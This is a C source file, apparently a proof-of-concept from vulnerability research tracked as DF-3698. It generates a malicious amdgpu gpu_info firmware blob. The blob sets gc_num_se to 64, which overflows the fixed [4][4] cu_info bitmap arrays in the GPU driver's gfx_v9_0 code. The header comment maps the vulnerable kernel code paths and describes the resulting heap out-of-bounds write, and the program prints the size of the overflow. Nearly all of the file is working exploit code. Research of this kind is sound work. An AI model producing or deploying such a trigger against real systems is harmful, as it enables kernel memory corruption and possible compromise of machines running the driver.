DF-3698 / fwgen_craft_gpuinfo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-3698 trigger generator — crafts a malicious amdgpu gpu_info firmware * blob whose gc_num_se / gc_num_sh_per_se exceed the fixed [4][4] dimensions * of struct amdgpu_cu_info::bitmap / ::ao_cu_bitmap. * * Target: sys/dev/drm/amd/amdgpu/gfx_v9_0.c:4990-5013 (gfx_v9_0_get_cu_info) * sys/dev/drm/amd/amdgpu/gfx_v9_0.c:937-958 (gfx_v9_0_init_always_on_cu_mask) * for (i = 0; i < adev->gfx.config.max_shader_engines; i++) * for (j = 0; j < adev->gfx.config.max_sh_per_se; j++) * cu_info->bitmap[i][j] = bitmap; <-- arrays are [4][4] * * Source of the unclamped bounds: * amdgpu_device.c:1379-1381 max_shader_engines = le32(gpu_info_fw->gc_num_se) * (amdgpu_ucode_validate() here only checks hdr->size_bytes == fw->datasize) * and for VEGA20 via gfx_v9_0_gpu_early_init()->amdgpu_atomfirmware_get_gfx_info() * (amdgpu_atomfirmware.c:349, u8 gc_num_se from VBIOS). * * Result: linear heap OOB WRITE past adev->gfx.cu_info (embedded in the big * amdgpu_device allocation) with GPU-register-derived u32 values; also OOB * reads at gfx_v9_0.c:945. Runs during gfx_v9_0_constants_init() * (hw_init -> get_cu_info) and gfx_v9_0_rlc_init -> init_lbpw -> * init_always_on_cu_mask on Raven. * * Build: cc -O2 -o fwgen_craft_gpuinfo fwgen_craft_gpuinfo.c * Run: ./fwgen_craft_gpuinfo (writes amdgpufw_raven_gpu_info.evil) */ #include <stdio.h> #include <stdint.h> #include <string.h> struct common_hdr { uint32_t size_bytes; uint32_t header_size_bytes; uint16_t header_version_major; uint16_t header_version_minor; uint16_t ip_version_major; uint16_t ip_version_minor; uint32_t ucode_version; uint32_t ucode_size_bytes; uint32_t ucode_array_offset_bytes; uint32_t crc32; }; struct gpu_info_hdr_v1_0 { struct common_hdr hdr; /* 32 bytes */ uint16_t version_major; uint16_t version_minor; }; struct gpu_info_v1_0 { uint32_t gc_num_se; uint32_t gc_num_cu_per_sh; uint32_t gc_num_sh_per_se; uint32_t gc_num_rb_per_se; uint32_t gc_num_tccs; uint32_t gc_num_gprs; uint32_t gc_num_max_gs_thds; uint32_t gc_gs_table_depth; uint32_t gc_gsprim_buff_depth; uint32_t gc_parameter_cache_depth; uint32_t gc_double_offchip_lds_buffer; uint32_t gc_wave_size; uint32_t gc_max_waves_per_simd; uint32_t gc_max_scratch_slots_per_cu; uint32_t gc_lds_size; }; int main(void) { struct gpu_info_hdr_v1_0 h; struct gpu_info_v1_0 gi; uint8_t img[sizeof(h) + sizeof(gi)]; memset(&h, 0, sizeof(h)); memset(&gi, 0, sizeof(gi)); h.hdr.size_bytes = sizeof(img); h.hdr.header_size_bytes = sizeof(h); h.hdr.header_version_major = 1; h.hdr.header_version_minor = 0; h.hdr.ucode_size_bytes = sizeof(gi); h.hdr.ucode_array_offset_bytes = sizeof(h); h.version_major = 1; h.version_minor = 0; /* ===== the malicious fields ===== * struct amdgpu_cu_info::bitmap is [4][4]; claim 64 SEs x 4 SH */ gi.gc_num_se = 64; gi.gc_num_sh_per_se = 4; gi.gc_num_cu_per_sh = 16; /* plausible filler */ gi.gc_num_rb_per_se = 4; gi.gc_num_tccs = 8; gi.gc_num_gprs = 256; gi.gc_wave_size = 64; gi.gc_max_waves_per_simd = 10; gi.gc_lds_size = 64; memcpy(img, &h, sizeof(h)); memcpy(img + sizeof(h), &gi, sizeof(gi)); FILE *f = fopen("amdgpufw_raven_gpu_info.evil", "wb"); if (!f) { perror("fopen"); return 1; } fwrite(img, 1, sizeof(img), f); fclose(f); printf("crafted amdgpufw_raven_gpu_info.evil: %zu bytes\n", sizeof(img)); printf(" gc_num_se=%u gc_num_sh_per_se=%u -> cu_info->bitmap[%u][%u]\n", gi.gc_num_se, gi.gc_num_sh_per_se, gi.gc_num_se, gi.gc_num_sh_per_se); printf(" vs. fixed array dimensions [4][4] (amdgpu_gfx.h:197-198)\n"); printf(" -> gfx_v9_0_get_cu_info() writes up to 64*4*4 = 1024 bytes\n"); printf(" past bitmap[0][0] of a [4][4]=64-byte array = heap OOB write\n"); return 0; } |